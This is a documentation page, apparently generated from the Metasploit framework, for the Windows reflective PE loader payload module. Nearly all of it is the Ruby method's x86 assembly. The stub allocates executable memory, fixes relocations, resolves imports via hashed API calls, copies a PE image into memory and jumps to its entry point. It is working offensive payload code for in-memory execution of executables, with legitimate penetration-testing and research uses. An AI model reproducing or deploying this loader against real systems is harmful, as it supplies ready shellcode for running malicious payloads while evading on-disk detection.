Module: Msf::Payload::Windows::ReflectivePELoader

Includes:
BlockApi
Defined in:
lib/msf/core/payload/windows/reflective_pe_loader.rb

Instance Method Summary collapse

Methods included from BlockApi

#asm_block_api

Instance Method Details

#asm_reflective_pe_loader(opts) ⇒ Object



6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/core/payload/windows/reflective_pe_loader.rb', line 6

def asm_reflective_pe_loader(opts)

  prologue = ''
  if opts[:is_dll] == true
    prologue = %(
  push edi                ; AOE
  sub [esp],eax           ; hinstDLL
  push 0x01               ; fdwReason
  push 0x00               ; lpReserved
)
  end

  %^
stub:
  cld                     ; Clear direction flags
  pop esi                 ; Get the address of image to esi
  call $+5                ; Push the current EIP to stack
  sub [esp],esi           ; Subtract &PE from EIP and get image_size
  call start              ; Push the address of API to stack
  #{asm_block_api}
start:                    ;
  pop ebp                 ; Get the address of api to ebp
  mov eax,[esi+0x3C]      ; Get the offset of "PE" to eax
  mov ebx,[eax+esi+0x34]  ; Get the image base address to ebx
  mov eax,[eax+esi+0x28]  ; Get the address of entry point to eax
  push eax                ; Save the address of entry to stack
  push 0x40               ; PAGE_EXECUTE_READ_WRITE
  push 0x103000           ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
  push dword [esp+12]     ; dwSize
  push 0x00               ; lpAddress
  push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
  call ebp                ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  push eax                ; Save the new image base to stack
  xor edx,edx             ; Zero out the edx
relocate:
  mov eax,[esi+0x3C]      ; Offset to IMAGE_NT_HEADER ("PE")
  mov ecx,[eax+esi+0xA4]  ; Base relocation table size
  mov eax,[eax+esi+0xA0]  ; Base relocation table RVA
  add eax,esi             ; Base relocation table memory address
  add ecx,eax             ; End of base relocation table
calc_delta:
  mov edi,[esp]           ; Move the new base address to EDI
  sub edi,ebx             ; Delta value
  push dword [eax]        ; Reloc RVA
  push dword [eax+4]      ; Reloc table size
  add eax,0x08            ; Move to the reloc descriptor
  jmp fix                 ; Start fixing
get_rva:
  cmp ecx,eax             ; Check if the end of the reloc section ?
  jle reloc_fin           ; If yes goto fin
  add esp,0x08            ; Deallocate old reloc RVA and reloc table size variables
  push dword [eax]        ; Push new reloc RVA
  push dword [eax+4]      ; Push new reloc table size
  add eax,0x08            ; Move 8 bytes
fix:
  cmp word [esp],0x08     ; Check if the end of the reloc block
  jz get_rva              ; If yes set the next block RVA
  mov dx,word [eax]       ; Move the reloc desc to dx
  cmp dx, 0x00            ; Check if it is a padding word
  je pass
  and dx,0x0FFF           ; Get the last 12 bits
  add edx,[esp+4]         ; Add block RVA to desc value
  add edx,esi             ; Add the start address of the image
  add dword [edx],edi     ; Add the delta value to calculated absolute address
pass:
  sub dword [esp],0x02    ; Decrease the index
  add eax,0x02            ; Move to the next reloc desc.
  xor edx,edx             ; Zero out edx
  jmp fix                 ; Loop
reloc_fin:
  pop eax                 ; Deallocate all vars
  pop eax                 ; ...
  mov eax,[esi+0x3C]      ; Offset to IMAGE_NT_HEADER ("PE")
  mov eax,[eax+esi+0x80]  ; Import table RVA
  add eax,esi             ; Import table memory address (first image import descriptor)
  push eax                ; Save the address of import descriptor to stack
get_modules:
  cmp dword [eax],0x00    ; Check if the import names table RVA is NULL
  jz complete             ; If yes building process is done
  mov eax,[eax+0x0C]      ; Get RVA of dll name to eax
  add eax,esi             ; Get the dll name address
  call LoadLibraryA       ; Load the library
  mov ebx,eax             ; Move the dll handle to ebx
  mov eax,[esp]           ; Move the address of current _IMPORT_DESCRIPTOR to eax
  call get_procs          ; Resolve all windows API function addresses
  add dword [esp],0x14    ; Move to the next import descriptor
  mov eax,[esp]           ; Set the new import descriptor address to eax
  jmp get_modules
get_procs:
  push ecx                ; Save ecx to stack
  push dword [eax+0x10]   ; Save the current import descriptor IAT RVA
  add [esp],esi           ; Get the IAT memory address
  mov eax,[eax]           ; Set the import names table RVA to eax
  add eax,esi             ; Get the current import descriptor's import names table address
  push eax                ; Save it to stack
resolve:
  cmp dword [eax],0x00    ; Check if end of the import names table
  jz all_resolved         ; If yes resolving process is done
  mov eax,[eax]           ; Get the RVA of function hint to eax
  cmp eax,0x80000000      ; Check if the high order bit is set
  js name_resolve         ; If high order bit is not set resolve with INT entry
  sub eax,0x80000000      ; Zero out the high bit
  call GetProcAddress     ; Get the API address with hint
  jmp insert_iat          ; Insert the address of API tı IAT
name_resolve:
  add eax,esi             ; Set the address of function hint
  add eax,0x02            ; Move to function name
  call GetProcAddress     ; Get the function address to eax
insert_iat:
  mov ecx,[esp+4]         ; Move the IAT address to ecx
  mov [ecx],eax           ; Insert the function address to IAT
  add dword [esp],0x04    ; Increase the import names table index
  add dword [esp+4],0x04  ; Increase the IAT index
  mov eax,[esp]           ; Set the address of import names table address to eax
  jmp resolve             ; Loop
all_resolved:
  mov ecx,[esp+4]         ; Move the IAT address to ecx
  mov dword [ecx],0x00    ; Insert a NULL dword
  pop ecx                 ; Deallocate index values
  pop ecx                 ; ...
  pop ecx                 ; Put back the ecx value
  ret                     ; <-
LoadLibraryA:
  push ecx                ; Save ecx to stack
  push edx                ; Save edx to stack
  push eax                ; Push the address of linrary name string
  push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}         ; ror13( "kernel32.dll", "LoadLibraryA" )
  call ebp                ; LoadLibraryA([esp+4])
  pop edx                 ; Retrieve edx
  pop ecx                 ; Retrieve ecx
  ret                     ; <-
GetProcAddress:
  push ecx                ; Save ecx to stack
  push edx                ; Save edx to stack
  push eax                ; Push the address of proc name string
  push ebx                ; Push the dll handle
  push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}         ; ror13( "kernel32.dll", "GetProcAddress" )
  call ebp                ; GetProcAddress(ebx,[esp+4])
  pop edx                 ; Retrieve edx
  pop ecx                 ; Retrieve ecx
  ret                     ; <-
complete:
  pop eax                 ; Clean out the stack
  pop edi                 ; ..
  mov edx,edi             ; Copy the address of new base to EDX
  pop eax                 ; Pop the address_of_entry to EAX
  add edi,eax             ; Add the address of entry to new image base
  pop ecx                 ; Pop the image_size to ECX
memcpy:
  mov al,[esi]            ; Move 1 byte of PE image to AL register
  mov [edx],al            ; Move 1 byte of PE image to image base
  inc esi                 ; Increase PE image index
  inc edx                 ; Increase image base index
  loop memcpy             ; Loop until ECX = 0
PE_Start:
  #{prologue}
  call edi                ; Call PE AOE
  push 0x00               ; dwExitCode
  push #{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
  call api_call           ; Call the exit funk based on exit_type
  ^
end